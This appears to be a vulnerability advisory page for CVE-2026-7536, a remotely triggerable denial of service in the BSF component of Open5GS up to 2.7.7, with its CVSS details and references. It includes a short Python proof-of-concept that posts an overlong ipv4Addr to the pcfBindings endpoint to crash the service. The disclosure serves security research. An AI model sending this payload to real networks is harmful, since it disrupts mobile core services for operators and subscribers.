CVE-2026-7536

Description

A vulnerability was determined in Open5GS up to 2.7.7. This vulnerability affects the function bsf_sess_add_by_ip_address of the file /nbsf-management/v1/pcfBindings of the component BSF. Executing a manipulation of the argument ipv4Addr can lead to denial of service. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Open5GS <= 2.7.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Placeholder)
# The vulnerability affects the /nbsf-management/v1/pcfBindings endpoint
target_url = "http://<target_ip>:<port>/nbsf-management/v1/pcfBindings"

# Malicious payload for ipv4Addr
# Sending a malformed or overly long IP address to trigger the DoS
payload = {
    "ipv4Addr": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
    "supi": "imsi-999990000000001"
}

headers = {
    "Content-Type": "application/json"
}

try:
    # Sending the malicious request
    response = requests.post(target_url, json=payload, headers=headers, timeout=5)
    print(f"Status Code: {response.status_code}")
    print("Exploit sent. Check if the Open5GS BSF service has crashed.")
except requests.exceptions.RequestException as e:
    print(f"An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7536
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7536
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7536/
[4] VulDB https://vuldb.com/cve/CVE-2026-7536
[5] https://github.com/open5gs/open5gs/
[6] https://github.com/open5gs/open5gs/issues/4400
[7] https://vuldb.com/submit/804292
[8] https://vuldb.com/vuln/360353
[9] https://vuldb.com/vuln/360353/cti

Raw JSON Data

JSON

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